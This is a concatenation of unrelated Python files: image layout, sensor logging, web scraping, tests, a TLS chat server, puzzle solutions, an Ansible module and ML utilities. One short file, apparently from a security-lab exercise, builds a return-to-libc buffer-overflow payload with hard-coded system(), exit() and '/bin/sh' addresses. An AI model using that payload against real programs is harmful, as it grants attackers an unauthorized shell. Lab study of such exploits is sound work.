"""
Made by Silvestrov Vasilii
import datetime
"""

import argparse
import sys
from PIL import Image
from pathlib import Path
from os import walk, listdir
from os.path import isfile, join

A4_SIZE = (2480, 3508)
TOP = 120
BOTTOM = 120
WHITE = (255, 255, 255)
PICTURE_SIZE = 960
EMPTY_HEIGHT = (A4_SIZE[1] - 3 * PICTURE_SIZE - TOP - BOTTOM) // 3
LEFT = RIGHT = EMPTY_WIDTH = (A4_SIZE[0] - 2 * PICTURE_SIZE) // 3
CORNERS = [
    (LEFT, TOP),
    (LEFT + PICTURE_SIZE + EMPTY_WIDTH, TOP),
    (LEFT, TOP + PICTURE_SIZE + EMPTY_HEIGHT),
    (LEFT + PICTURE_SIZE + EMPTY_WIDTH, TOP + PICTURE_SIZE + EMPTY_HEIGHT),
    (LEFT, TOP + 2 * (PICTURE_SIZE + EMPTY_HEIGHT)),
    (LEFT + PICTURE_SIZE + EMPTY_WIDTH, TOP + 2 * (PICTURE_SIZE + EMPTY_HEIGHT)),
]
BLOCK_SIZE = 6
BASE_DIR = 'chess.pdf'

def concat(images: list[Image]) -> Image:
    """

    Concatinate up to 6 images into A4 page

    A4 paper is 2480 x 3508 pixels

    Paddings are:
        top     ---  20 mm
        bottom  ---  20 mm
        left    ---  30 mm
        right   ---  10 mm

    """

    assert len(images) <= 6

    resized_images = [image.resize((PICTURE_SIZE, PICTURE_SIZE)) for image in images]

    img = Image.new('RGB', A4_SIZE, WHITE)

    for index, image in enumerate(resized_images):
        img.paste(image, CORNERS[index])

    return img

def generate_pages(images : list[Image]) -> list[Image]:
    """
    Split images into pages of 6 images.
    """
    pages = []
    size = len(images)
    for i in range(0, size, BLOCK_SIZE):
        pages.append(concat(images[i:min(size, i + BLOCK_SIZE)]))
    return pages

def save_pdf(pages: list[Image], pdf_path: str) -> None:
    """
    Concatinate pages to pdf and save it to pdf_path
    """
    pages[0].save(
        pdf_path, "PDF" ,resolution=100.0, save_all=True, append_images=pages[1:]
    )

def main():
    """
    Parse command and concatinate images to pdf
    """

    parser = argparse.ArgumentParser(description='Process some filenames.')
    parser.add_argument('-f', dest='files', action='append', nargs='+',
                        help='filenames of images to concatinate to pdf')
    parser.add_argument('--save_to', dest='pdf_path', action='store', default=BASE_DIR,
                        help='path to save the result pdf')
    parser.add_argument('--no-files', dest='no_files', action='store_true')
    parser.set_defaults(no_files=False)
    args = parser.parse_args(sys.argv[1:])

    images = []
    filenames = []
    if args.no_files:
        easy = ["easy/" + i for i in [f for f in listdir("easy/") if isfile(join("easy", f))]][1:]
        hard = ["hard/" + i for i in [f for f in listdir("hard/") if isfile(join("hard", f))]][1:]
        filenames = easy[:4] + hard[:2]
    else:
        filenames = args.files[0]
    for f in filenames:
        images.append(Image.open(f))
        Path(f).rename('/'.join(f.split('/')[:-1]) + '/used/' + f.split('/')[-1])
    save_pdf(generate_pages(images), args.pdf_path)

if __name__ == '__main__':
    main()


# --------------------------------------
#           Air Quality Logger
#  Read data from a a set of sensors
#  and send to Thingspeak.com.
#
# Author : Bert Carremans
# Date   : 03/01/2018
# --------------------------------------

import Adafruit_DHT
import time
import config as cfg
import datetime

import firebase_admin
from firebase_admin import credentials
from firebase_admin import firestore

running = True

# Creating log file
file = open('sensor_readings.txt', 'w')
file.write('Time and date, temperature, humidity\n')

# Initialize Firebase app with credentials
cred = credentials.Certificate(cfg.FIREBASE_CREDS_JSON)
firebase_admin.initialize_app(cred)

# Create Firestore object
db = firestore.client()

while running:
    try:
        humidity, temperature = Adafruit_DHT.read_retry(Adafruit_DHT.DHT22, cfg.SENSOR_PIN)
        if humidity is not None and temperature is not None:
            print('Writing data to sensor_readings.txt')
            log_msg = time.strftime('%H:%M:%S %d/%m/%Y') + ',' + str(temperature) + ',' + str(humidity)
            print(log_msg)
            file.write(log_msg + '\n')

            # Sending data to Firebase
            values = {
                u'date' : datetime.datetime.now(),
                u'temperature' : temperature,
                u'humidity' : humidity
            }
            print('Adding data to Firebase.')
            # add method will use auto-generated document ID
            db.collection(u'sensor_readings').add(values)
        else:
            print('No valid sensor readings available')

        # Send data every 15 seconds
        time.sleep(15)
    except KeyboardInterrupt:
        print('Program stopped')
        running = False
        file.close()

'''
Code to read data from Firebase
docs = db.collection(u'sensor_readings').order_by(u'date').limit(3).get()

for doc in docs:
    print()
    print(u'{} => {}'.format(doc.id, doc.to_dict()))
'''


#!/usr/bin/env python3
# coding: utf-8
# File: get_cnki_cookie_by_selenium.py.py
# Author: lxw
# Date: 5/27/17 3:24 PM

import random
import time
from selenium import webdriver
from selenium.common.exceptions import TimeoutException
from Spiders.CNKI_Patent.CNKI_Patent.middlewares import RotateUserAgentMiddleware

TIMEOUT = 60

def get_driver_chrome():
    """
    References:
    ChromeDriver:
    [爬虫：3. selenium](http://www.jianshu.com/p/2631bf34328e)
    """
    options = webdriver.ChromeOptions()

    # Setting User-Agent
    ua = random.choice(RotateUserAgentMiddleware.user_agent_list)
    if ua:
        print("Current User-Agent is:", ua)
        options.add_argument("--user-agent=" + ua)

    """
    # Setting IP Proxies
    ip_proxy = get_proxy()
    if ip_proxy:
        options.add_argument('--proxy-server=' + ip_proxy)
    """
    driver = webdriver.Chrome(executable_path=r"/home/lxw/Software/chromedirver_selenium/chromedriver", chrome_options=options)

    # 设置超时时间
    driver.set_page_load_timeout(TIMEOUT)
    driver.set_script_timeout(TIMEOUT)  # 这两种设置都进行才有效

    return driver

if __name__ == "__main__":
    driver = get_driver_chrome()

    try:
        # driver.get("http://www.ip138.com/ua.asp")      # 查看当前请求的User-Agent和所使用的IP
        # driver.get("http://ipecho.net/plain")
        driver.get("http://kns.cnki.net/kns/brief/default_result.aspx")
    except TimeoutException as te:
        print("lxw_NOTE: TimeoutException. ", te)
    else:
        time.sleep(2)
        selenium_cookies = driver.get_cookies()
        cookies = {}
        for item in selenium_cookies:
            cookies[item['name']] = item['value']
        print("selenium_cookies:", selenium_cookies)
        print("cookies:", cookies)
        print("OK")
    finally:
        driver.quit()


from test.services.inventory import InventoryModelTest
from src.services.inventory.database_handler import DatabaseHandler
import unittest

database_handler_mock = DatabaseHandler(InventoryModelTest)

class DatabaseHandlerTest(unittest.TestCase):
    __paging_data = {
        "offset": 1,
        "no_items": 1
    }
    __mock_inventory_data = {
        "name": "Nam Dao",
        "amount": 1000
    }

    def test_initially_empty_database(self):
        inventories, paging_data = database_handler_mock.list_inventories(self.__paging_data)
        self.assertEqual(len(inventories), 0)

    def test_create_new_inventory(self):
        inventory = database_handler_mock.create_inventory(self.__mock_inventory_data)
        inventories, paging_data = database_handler_mock.list_inventories(self.__paging_data)
        self.assertEqual(inventory["name"], self.__mock_inventory_data["name"])
        self.assertEqual(inventory["amount"], self.__mock_inventory_data["amount"])
        self.assertEqual(1, len(inventories))

    def test_get_inventory_by_id(self):
        inventory = database_handler_mock.create_inventory(self.__mock_inventory_data)
        inventoryRetrieve = database_handler_mock.get_inventory(inventory["id"])
        self.assertIsNotNone(inventoryRetrieve)
        self.assertEqual(inventory["id"], inventoryRetrieve["id"])

    def test_create_two_inventories_inorder(self):
        inventory = database_handler_mock.create_inventory(self.__mock_inventory_data)
        inventory2 = database_handler_mock.create_inventory({
            "name": "Nam Dao 1",
            "amount": 10000
        })
        inventories, paging_data = database_handler_mock.list_inventories({
            "offset": 1,
            "no_items": 10
        })
        self.assertEqual(len(inventories), 2)
        self.assertEqual(inventories[0]["id"], inventory["id"])
        self.assertEqual(inventories[1]["id"], inventory2["id"])

    def test_update_inventory(self):
        update_data = {
            "name": "Nam Dao 1",
            "amount": 2000
        }
        inventory = database_handler_mock.create_inventory(self.__mock_inventory_data)
        database_handler_mock.update_inventory(inventory["id"], update_data)
        inventoryUpdated = database_handler_mock.get_inventory(inventory["id"])
        self.assertEqual(inventoryUpdated["id"], inventory["id"])
        self.assertEqual(inventoryUpdated["name"], update_data["name"])
        self.assertEqual(inventoryUpdated["amount"], update_data["amount"])

    def test_delete_inventory(self):
        inventory = database_handler_mock.create_inventory(self.__mock_inventory_data)
        database_handler_mock.delete_inventory(inventory["id"])
        inventories, paging_data = database_handler_mock.list_inventories(self.__paging_data)
        self.assertEqual(len(inventories), 0)


from __future__ import annotations
from typing import TYPE_CHECKING

if TYPE_CHECKING:
    from operators import Operator

class Customer:
    def __init__(self, ID, name, age, operators, bills, limitingAmount):
        self.ID = ID
        self.name = name
        self.age = age
        self.operators = operators  # []
        self.bills = bills  # []

    def talk(self, minute, other):
        cost = self.operators[0].calculateTalkingCost(minute, self)
        self.bills[0].add(cost)

    def message(self, quantity, other):
        cost = self.operators[0].calculateMessageCost(quantity, self, other)
        self.bills[0].add(cost)

    def connection(self, amount):
        cost = self.operators[0].calculateNetworkCost(amount)
        self.bills[0].add(cost)


import queue
import socket
import time
import ssl
import _thread
import pprint
from OpenSSL import SSL
hostname = '127.0.0.1'
port = 8888

"""
The info stored in the queue should be like this:
"sender|receiver|timestamp|msg"
and all item is str.
"""
MsgQ = {}

def Sender(sock, UserID):
    """
    Fetch 'info' from queue send to UserID.
    """
    Q = MsgQ[UserID]
    print("sender")
    try:
        while True:
            # get methord will be blocked if empty
            info = Q.get()
            sock.send(info.encode())
    except Exception as e:
        print(e)
        sock.close()
        _thread.exit_thread()

def Receiver(sock):
    """
    Receive 'msg' from UserID and store 'info' into queue.
    """
    try:
        while True:
            info = sock.recv(1024).decode()
            print(info)
            info_unpack = info.split("|")
            receiver = info_unpack[1]

            exit_cmd = receiver == "SEVER" and info_unpack[3] == "EXIT"
            assert not exit_cmd, "{} exit".format(info_unpack[0])

            if receiver not in MsgQ:
                MsgQ[receiver] = queue.Queue()
            MsgQ[receiver].put(info)

    except Exception as e:
        print(e)
        sock.close()
        _thread.exit_thread()

class Server:
    def __init__(self):
        self.crtfile = 'server.crt'
        self.keyfile = 'server.pem'
        self.context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
        self.context.load_cert_chain(certfile=self.crtfile, keyfile=self.keyfile)
        self.Sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # self.Sock = socket.socket()
        self.Sock.bind((hostname, port))
        self.Sock.listen()
        # self.threads = []

    def run(self):
        print("\033[35;40m[ Server is running ]\033[0m")
        # print("[ Server is running ]")
        while True:
            sock, _ = self.Sock.accept()
            # Start two threads
            connstream = self.context.wrap_socket(sock, server_side=True)
            # Register for new Client
            UserID = connstream.recv(1024).decode()
            print("Connect to {}".format(UserID))
            # UserID = '1'
            # Build a message queue for new Client
            if UserID not in MsgQ:
                MsgQ[UserID] = queue.Queue()
            _thread.start_new_thread(Sender, (connstream, UserID))
            _thread.start_new_thread(Receiver, (connstream,))

    def close(self):
        self.Sock.close()

if __name__ == "__main__":
    server = Server()
    try:
        server.run()
    except KeyboardInterrupt as e:
        server.close()
        print("Server exited")


# -*- coding: utf-8 -*-
"""
Created on Mon Oct 15 18:51:11 2018

@author: node
"""

import re

text = 'aaabbbbabababbbaa'

pattern = 'ab'

for match in re.finditer(pattern,text):
  start = match.start()
  end   = match.end()
  print('Found {!r} at {:d}:{:d}'.format(text[start:end],start,end))


#!/usr/bin/python3
import sys

# Fill the content with non-zero values
content = bytearray(0xaa for i in range(400))

#########################################################
# You need to make changes in multiple places

sh_addr = 0xffffd444 # The address of "/bin/sh"
content[120:124] = (sh_addr).to_bytes(4,byteorder='little')

exit_addr = 0xf7e04f80 # The address of exit()
content[116:120] = (exit_addr).to_bytes(4,byteorder='little')

system_addr = 0xf7e12420 # The address of system()
content[112:116] = (system_addr).to_bytes(4,byteorder='little')

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)


def isPrime(n):
    if n in prime:
        return prime[n]
    for i in range(2,n):
        if n%i == 0:
            prime[n]=False
            return False
    prime[n]=True
    return True

T = int(input())
prime = {}
prime[1] = False

for _ in range(T):
    n = int(input())
    max = n//2 + 1 if n%2==0 else n//2 + 2
    for i in range(2,max):
        if isPrime(i) and isPrime(n-i):
            a, b = i, n-i
    print(f"{a} {b}")


#! /usr/bin/env python3
#
# vim: ts=2 sw=2 et
#

import sys
#from wx.py.crust import Display

inchpm=39.3700
dpi=100
if len(sys.argv) >1:
  dpi=int(sys.argv[1])

displaympp=1/(float(dpi)*inchpm)

print("display mpp=%f"%(displaympp))

mpp= 20037508.342789244 * 2 / 256
print("Level    :   mpp     \t\t: scale")
for i in range(0,31):
  scale=mpp/displaympp
  print("level(%02d):%07.4f:\t\t1:%5.2f"%(i,mpp,scale))
  mpp=mpp/2


from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

DOCUMENTATION = r"""
---
module: bmc_security_config
short_description: Manage BMC security protocols.
version_added: "1.1.0"
description:
  - Enables/disables SSH and IPMI access.
  - This module supports check mode.
author: "Sergey Kovalev (@kvlvs)"
extends_documentation_fragment:
  - yadro.obmc.connection_options
options:
  ssh_enabled:
    required: false
    type: bool
    description: Indicates if SSH protocol is enabled or disabled.
  ipmi_enabled:
    required: false
    type: bool
    description: Indicates if IPMI remote management is enabled or disabled.
"""

RETURN = r"""
---
msg:
  type: str
  returned: always
  description: Operation status message.
error:
  type: str
  returned: on error
  description: Error details if raised.
"""

EXAMPLES = r"""
---
- name: Enable SSH support
  yadro.obmc.bmc_security_config:
    connection:
      hostname: "{{ server }}"
      username: "{{ username }}"
      password: "{{ password }}"
    ssh_enabled: true

- name: Disable IPMI support
  yadro.obmc.bmc_security_config:
    connection:
      hostname: "{{ server }}"
      username: "{{ username }}"
      password: "{{ password }}"
    ipmi_enabled: false
"""

from functools import partial
from ansible_collections.yadro.obmc.plugins.module_utils.obmc_module import OpenBmcModule

class OpenBmcSecurityConfigModule(OpenBmcModule):

    def __init__(self):
        argument_spec = {
            "ssh_enabled": {"type": "bool", "required": False},
            "ipmi_enabled": {"type": "bool", "required": False},
        }

        super(OpenBmcSecurityConfigModule, self).__init__(
            argument_spec=argument_spec,
            supports_check_mode=True,
        )

    def _run(self):
        changes = []

        network_protocol = self.redfish.get_manager("bmc").get_network_protocol()

        if self.params["ssh_enabled"] is not None and \
                self.params["ssh_enabled"] != network_protocol.get_ssh_enabled():
            changes.append(partial(
                network_protocol.set_ssh_enabled,
                self.params["ssh_enabled"],
            ))

        if self.params["ipmi_enabled"] is not None and \
                self.params["ipmi_enabled"] != network_protocol.get_ipmi_enabled():
            changes.append(partial(
                network_protocol.set_ipmi_enabled,
                self.params["ipmi_enabled"]
            ))

        if changes:
            if not self.check_mode:
                for action in changes:
                    action()
            self.exit_json(msg="Operation successful.", changed=True)
        else:
            self.exit_json(msg="No changes required.", changed=False)

def main():
    OpenBmcSecurityConfigModule().run()

if __name__ == "__main__":
    main()


class Solution:
    def toHex(self, num: int) -> str:
        def findComplement(num):
            s = bin(num)[2:]
            res = ''
            for i in s:
                res += str(int(i) ^ 1) # xor 1^1=0 0^1=1
            res = '0b' + res
            return int(res, 2), len(res) - 2

        def convertHex(num):
            if num == 0:
                return "0"
            res = ""
            val = "0123456789abcdef"
            # if num < 0:
            #     num = num + (2 ** 32)
            while num > 0:
                res = val[num % 16] + res
                num = num // 16
            return res

        def negativeNum(x):
            num, length = findComplement(x)
            num += 1 # add one
            s = "{:032b}".format(num)
            res = "0b" + "".join(["1"]*(32 - length)) + s[-length:]
            return convertHex(int(res, 2))

        return negativeNum(-num) if num < 0 else convertHex(num)


import random
from profilehooks import profile

import pathilico.pygletelm.cache as cache

P_TYPE = cache.PayloadTypes.all[4]

class MockClass(cache.CachedObject):
    _payload_attrs = ("a", "b", "c", "d", "e")
    _payload_replaceable_attrs = ("a", "b", "c")

    def __init__(self):
        self.a, self.b, self.c, self.d, self.e = random.sample(range(100), 5)
        super().__init__()

def get_mocks(p_type=P_TYPE):
    r = list()
    class M(MockClass):
        _payload_type = p_type

    for _ in range(100000):
        r.append(get_tag(M()))
    return r

def main():
    print(P_TYPE)
    mocks = get_mocks()
    measure(mocks)

def get_tag(a):
    return a.tag

@profile
def measure(mocks):
    for i in range(5000):
        m1, m2 = mocks[20*i:20*i+10], mocks[20*i+10:20*i+20]
        cache.diff(m1, m2)

if __name__ == "__main__":
    main()


#!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals

AUTHOR = u'August Muench'
SITENAME = u'Data, Data, Everywhere'
SITESUBTITLE = u'All about managing, sharing, and archiving your data.'
SITEURL = 'http://localhost:8000'

TIMEZONE = 'US/Eastern'

DEFAULT_LANG = u'en'
DEFAULT_DATE_FORMAT = '%b %d, %Y'
DEFAULT_PAGINATION = False
DEFAULT_CATEGORY = ('Blog')

# explicit (workaround for fab build)
PATH = "content"
STATIC_PATHS = ['images', 'files', 'extra/robots.txt', 'extra/favicon.ico']
PLUGIN_PATH = '../src/pelican-plugins'
# OUTPUT_PATH = 'output'
# OUTPUT_PATH = '../html/datadata'

# menuitems
workshop = 'aas223'
# MENUITEMS = [('Workshop', '../pages/{0}-workshop.html'.format(workshop)),
			 # ('URLography', '../pages/urlography.html'),
             # ]

# Set the article URL
ARTICLE_URL = 'blog/{date:%Y}/{date:%m}/{date:%d}/{slug}/'
ARTICLE_SAVE_AS = 'blog/{date:%Y}/{date:%m}/{date:%d}/{slug}/index.html'

# Feed generation is usually not desired when developing
FEED_ALL_ATOM = None
FEED_ALL_RSS = None
CATEGORY_FEED_ATOM = None
TRANSLATION_FEED_ATOM = None

# THEME
# THEME = "notmyidea"
# THEME = "pelican-octopress-theme"
THEME = "pelican-bootstrap3"
BOOTSTRAP_THEME = 'spacelab'
# BOOTSTRAP_THEME = 'readable'
CSS_FILE = "nice_table.css"

# varia
# TWITTER_USERNAME = "augustmuench"
# pelican-bootstrap3 circumvents the twitter button in fav of #addthis #poor
# ADDTHIS_PROFILE = 'ra-52c6d7b07d5342cd'
# GITHUB_USER = 'adsass'
# GITHUB_SKIP_FORK = True
# discussions
# DISQUS_SITENAME = 'datadata'

# Blogroll
LINKS = None
# LINKS = (('Seamless Astronomy', 'http://projects.iq.harvard.edu/seamlessastronomy'),)
# LINKS =  (('Pelican', 'http://getpelican.com/'),
#           ('Python.org', 'http://python.org/'),
#           ('Jinja2', 'http://jinja.pocoo.org/'),
#           ('You can modify those links in your config file', '#'),)

# Social widget
SOCIAL = None
# (('Twitter', 'https://twitter.com/augustmuench'),
#           )

MD_EXTENSIONS = ['extra']
PLUGINS = ['sitemap', 'liquid_tags.img', 'liquid_tags.video',
           'liquid_tags.include_code']

# sitemap
SITEMAP = {
    'format': 'xml',
    'priorities': {
        'articles': 0.5,
        'indexes': 0.5,
        'pages': 0.5
    },
    'changefreqs': {
        'articles': 'monthly',
        'indexes': 'daily',
        'pages': 'monthly'
    }
}

# Uncomment following line if you want document-relative URLs when developing
RELATIVE_URLS = True

DISPLAY_CATEGORIES_ON_MENU = True
DISPLAY_CATEGORIES_ON_SIDEBAR = True

DISPLAY_PAGES_ON_MENU = True
DISPLAY_TAGS_ON_SIDEBAR = True

DISPLAY_RECENT_POSTS_ON_SIDEBAR = True
RECENT_POST_COUNT = 3


#Given an array nums with n integers, your task is to check if it could become non-decreasing by modifying at most one element.
#We define an array is non-decreasing if nums[i] <= nums[i + 1] holds for every i (0-based) such that (0 <= i <= n - 2).

class Solution:
    def checkPossibility(self, nums: List[int]) -> bool:
        for i in range(len(nums)-1):
            if nums[i] > nums[i + 1]:
                if i == 0:
                    nums[i] = min(nums[i+1], nums[i])
                    break
                else:
                    if nums[i-1] <= nums[i+1]:
                        nums[i] = max(nums[i+1], nums[i-1])
                        break
                    else:
                        nums[i+1] = max(nums[i], nums[i-1])
                        break
        return nums == sorted(nums)


import numpy as np
from collections import Counter
import os
from PIL import Image
import itertools
#import png
import torch.nn.functional as F

def scale_pyramid(img, num_scales):
    scaled_imgs = [img]

    s = img.size()

    h = s[2]
    w = s[3]

    for i in range(1, num_scales):
        ratio = 2**i
        nh = h // ratio
        nw = w // ratio
        scaled_img = F.upsample(img, size=(nh, nw), mode='nearest')
        scaled_imgs.append(scaled_img)

    scaled_imgs.reverse()
    return scaled_imgs

def compute_errors(ground_truth, predication):

    # accuracy
    threshold = np.maximum((ground_truth / predication),(predication / ground_truth))
    a1 = (threshold < 1.25 ).mean()
    a2 = (threshold < 1.25 ** 2 ).mean()
    a3 = (threshold < 1.25 ** 3 ).mean()

    #MSE
    rmse = (ground_truth - predication) ** 2
    rmse = np.sqrt(rmse.mean())

    #MSE(log)
    rmse_log = (np.log(ground_truth) - np.log(predication)) ** 2
    rmse_log = np.sqrt(rmse_log.mean())

    # Abs Relative difference
    abs_rel = np.mean(np.abs(ground_truth - predication) / ground_truth)

    # Squared Relative difference
    sq_rel = np.mean(((ground_truth - predication) ** 2) / ground_truth)

    return abs_rel, sq_rel, rmse, rmse_log, a1, a2, a3

class KITTI:

    def read_calib_file(self, path):
        # taken from https://github.com/hunse/kitti
        float_chars = set("0123456789.e+- ")
        data = {}
        with open(path, 'r') as f:
            for line in f.readlines():
                key, value = line.split(':', 1)
                value = value.strip()
                data[key] = value
                if float_chars.issuperset(value):
                    # try to cast to float array
                    try:
                        data[key] = np.array(list(map(float, value.split(' '))))
                    except ValueError:
                        # casting error: data[key] already eq. value, so pass
                        pass

        return data

    def get_fb(self, calib_dir, cam=2):
        cam2cam = self.read_calib_file(os.path.join(calib_dir, 'calib_cam_to_cam.txt'))
        P2_rect = cam2cam['P_rect_02'].reshape(3,4)
        P3_rect = cam2cam['P_rect_03'].reshape(3,4)

        # cam 2 is left of camera 0  -6cm
        # cam 3 is to the right  +54cm
        b2 = P2_rect[0,3] / -P2_rect[0,0]
        b3 = P3_rect[0,3] / -P3_rect[0,0]
        baseline = b3-b2

        if cam==2:
            focal_length = P2_rect[0,0]
        elif cam==3:
            focal_length = P3_rect[0,0]

        return focal_length * baseline

    def load_velodyne_points(self, file_name):
        # adapted from https://github.com/hunse/kitti
        points = np.fromfile(file_name, dtype=np.float32).reshape(-1, 4)
        points[:, 3] = 1.0  # homogeneous
        return points

    def lin_interp(self, shape, xyd):
        # taken from https://github.com/hunse/kitti
        from scipy.interpolate import LinearNDInterpolator
        m, n = shape
        ij, d = xyd[:, 1::-1], xyd[:, 2]
        f = LinearNDInterpolator(ij, d, fill_value=0)
        J, I = np.meshgrid(np.arange(n), np.arange(m))
        IJ = np.vstack([I.flatten(), J.flatten()]).T
        disparity = f(IJ).reshape(shape)
        return disparity

    def sub2ind(self, matrixSize, rowSub, colSub):
        m, n = matrixSize
        return rowSub * (n-1) + colSub - 1

    def get_depth(self, calib_dir, velo_file_name, im_shape, cam=2, interp=False, vel_depth=False):
        # load calibration files
        cam2cam = self.read_calib_file(os.path.join(calib_dir, 'calib_cam_to_cam.txt'))
        velo2cam = self.read_calib_file(os.path.join(calib_dir, 'calib_velo_to_cam.txt'))
        velo2cam = np.hstack((velo2cam['R'].reshape(3,3), velo2cam['T'][..., np.newaxis]))
        velo2cam = np.vstack((velo2cam, np.array([0, 0, 0, 1.0])))

        # compute projection matrix velodyne->image plane
        R_cam2rect = np.eye(4)
        R_cam2rect[:3,:3] = cam2cam['R_rect_00'].reshape(3,3)
        P_rect = cam2cam['P_rect_0'+str(cam)].reshape(3,4)
        P_velo2im = np.dot(np.dot(P_rect, R_cam2rect), velo2cam)

        # load velodyne points and remove all behind image plane (approximation)
        # each row of the velodyne data is forward, left, up, reflectance
        velo = self.load_velodyne_points(velo_file_name)
        velo = velo[velo[:, 0] >= 0, :]

        # project the points to the camera
        velo_pts_im = np.dot(P_velo2im, velo.T).T
        velo_pts_im[:, :2] = velo_pts_im[:,:2] / velo_pts_im[:,2][..., np.newaxis]

        if vel_depth:
            velo_pts_im[:, 2] = velo[:, 0]

        # check if in bounds
        # use minus 1 to get the exact same value as KITTI matlab code
        velo_pts_im[:, 0] = np.round(velo_pts_im[:,0]) - 1
        velo_pts_im[:, 1] = np.round(velo_pts_im[:,1]) - 1
        val_inds = (velo_pts_im[:, 0] >= 0) & (velo_pts_im[:, 1] >= 0)
        val_inds = val_inds & (velo_pts_im[:,0] < im_shape[1]) & (velo_pts_im[:,1] < im_shape[0])
        velo_pts_im = velo_pts_im[val_inds, :]

        # project to image
        depth = np.zeros((im_shape))
        depth[velo_pts_im[:, 1].astype(np.int), velo_pts_im[:, 0].astype(np.int)] = velo_pts_im[:, 2]

        # find the duplicate points and choose the closest depth
        inds = self.sub2ind(depth.shape, velo_pts_im[:, 1], velo_pts_im[:, 0])
        dupe_inds = [item for item, count in Counter(inds).items() if count > 1]
        for dd in dupe_inds:
            pts = np.where(inds==dd)[0]
            x_loc = int(velo_pts_im[pts[0], 0])
            y_loc = int(velo_pts_im[pts[0], 1])
            depth[y_loc, x_loc] = velo_pts_im[pts, 2].min()
        depth[depth<0] = 0

        if interp:
            # interpolate the depth map to fill in holes
            depth_interp = lin_interp(im_shape, velo_pts_im)
            return depth, depth_interp
        else:
            return depth


import getopt
import sys

cmd_str = "test -h -o file --help --output = out file1 file2"
# 只能解析命令行的字符串
opts, args = getopt.getopt(sys.argv[1:], "ho:", ["help", "output="])

if __name__ == "__main__":
    print(opts)    # [('-h', ''), ('-o', 'file'), ('--help', ''), ('--output', '=')]
    print(args)    # ['out', 'file1', 'file2']


"""
Fiunctions for Dynamic Time Warping modelling.
"""

__author__ = "Deborah Djon"
__copyright__ = "Copyright (c) Deborah Djon, 2023"
__license__ = "MIT License"

from typing import List, Tuple
from dtw import dtw
import numpy as np
from tslearn.barycenters import dtw_barycenter_averaging

class DTW_Model():

    def __init__(self, distance_threshold:int, fingerprints:dict[str:int] ):
        self.distance_threshold = distance_threshold
        self.fingerprints = fingerprints

    def get_distance(self, reference_sequence: List[int], query_sequence: List[int])->int:
        """
        Measure similarity using DTW.
        @param reference_sequence: fingerprint.
        @param query_seqence: sequence to compare the reference sequence to.
        """
        alignment = dtw(query_sequence,
                    reference_sequence,
                    keep_internals=True,
                    step_pattern="asymmetric",
                    open_end=True,
                    open_begin=True)
        return(alignment.normalizedDistance)

    def _match(self, query_sequence: List[int]) -> Tuple[str, object]:
        """
        Match query sequence with one of the created sequences.
        @param fingerprints: references to compare the query sequence to.
        @param query sequence: sequence to match.
        @param:  similarity treshold above which the match must be.
        """
        distances={
                    video_id: self.get_distance(reference_sequence = fingerprint,
                                                query_sequence=query_sequence)
                    for video_id, fingerprint in self.fingerprints.items()
        }

        min_key = min(distances, key=distances.get)

        if distances[min_key] < self.distance_threshold:
            return min_key, distances
        else: return "unknown"

    def predict(self, query_sequences: List[List[int]]) -> Tuple[List[str], List[object]]:
        """
        Match query sequence with one of the created sequences.
        @param fingerprints: references to compare the query sequence to.
        @param query sequence: sequence to match.
        @param:  similarity treshold above which the match must be.
        """
        predictions = []
        distances = []
        for qs in query_sequences:
            distances={
                        video_id: self.get_distance(reference_sequence = fingerprint,
                                                    query_sequence=qs)
                        for video_id, fingerprint in self.fingerprints.items()
            }

            min_key = min(distances, key=distances.get)

            if distances[min_key] < self.distance_threshold:
                predictions.append(min_key)
                distances.append(distances)
            else:
                predictions.append("unknown")
                distances.append(np.nan)
        return predictions, distances

    def average_sequences(self, sequence: list)-> np.ndarray:
        return dtw_barycenter_averaging(sequence, max_iter=50, tol=1e-3)


import argparse
from datetime import datetime

from models.transformer import Transformer

from util.utils import str2bool
from util.data import DataLoader
from util.tokenizer import get_tokenizer

import torch
import torch.nn as nn
from tqdm import tqdm

TIME = datetime.strftime(datetime.utcnow(), "%d-%m-%y_%H:%M")

class Trainer():
    def __init__(self):
        parser = argparse.ArgumentParser()

        # Training configuration
        parser.add_argument('-lr', '--learning_rate', type=float, default=1e-3, dest='lr')
        parser.add_argument('-de', '--weight_decay', type=float, default=1e-4, dest='weight_decay')
        parser.add_argument('-eps', type=float, default=3e-9, dest='optim_eps')
        parser.add_argument('-opt', '--optimizer', type=str, default='adam', dest='optimizer')
        parser.add_argument('-lw', '--load_weights', type=str, default=None, dest='load_name', help="Pretrained model weight file '.pth' or '.pt', default=None")
        parser.add_argument('-n_epochs', type=int, default=10, dest='num_epochs')
        parser.add_argument('-n_steps', type=int, default=50, dest='n_steps')
        parser.add_argument('-gpu', type=str2bool, default='true', dest='device')

        # Logging configuration
        parser.add_argument('-n', '--name', type=str, default=f"{TIME}.pth", dest="save_name")
        parser.add_argument('-c', "--checkpoints", type=str, default="checkpoints/", dest="save_dir")
        parser.add_argument('-lo', "--log_dir", type=str, default='logs/', dest="log_dir")

        # Data configuration
        parser.add_argument('-en_lang', type=str, default='.en', dest='en_lang')
        parser.add_argument('-de_lang', type=str, default='.de', dest='de_lang')
        parser.add_argument('-bs', '--batch_size', type=int, default=8, dest='batch_size')

        # Model configuration
        parser.add_argument('-d_model', type=int, default=512, dest='d_model')
        parser.add_argument('-d_ff', type=int, default=512, dest='d_ff')
        parser.add_argument('-max_len', type=int, default=256, dest='max_len')
        parser.add_argument('-drop_out', type=float, default=0.1, dest='drop_out')
        parser.add_argument('-n_layers', type=int, default=12, dest='n_layers')
        parser.add_argument('-n_heads', type=int, default=8, dest='n_heads')

        self.opt = parser.parse_args()
        if self.opt.device:
            self.opt.device = 'cuda' if torch.cuda.is_available() else 'cpu'
        else:
            self.opt.device = 'cpu'
        self.init_loaders()
        self.init_model()
        self.init_optimizer()

        self.criterion = nn.CrossEntropyLoss()
        # self.lr_scheduler = torch.optim.lr_scheduler.ReduceOnPlateu()

    def init_loaders(self):
        dataloader = DataLoader(ext=(self.opt.en_lang, self.opt.de_lang),
                                tokenize_en=get_tokenizer(self.opt.en_lang),
                                tokenize_de=get_tokenizer(self.opt.de_lang),
                                init_token='<sos>',
                                eos_token='<eos>')

        train, valid, test = dataloader.make_dataset()
        dataloader.build_vocab(train_data=train, min_freq=2)
        self.train_iter, self.valid_iter, self.test_iter = dataloader.make_iter(train, valid, test,
                                                     batch_size=self.opt.batch_size,
                                                     device=self.opt.device)

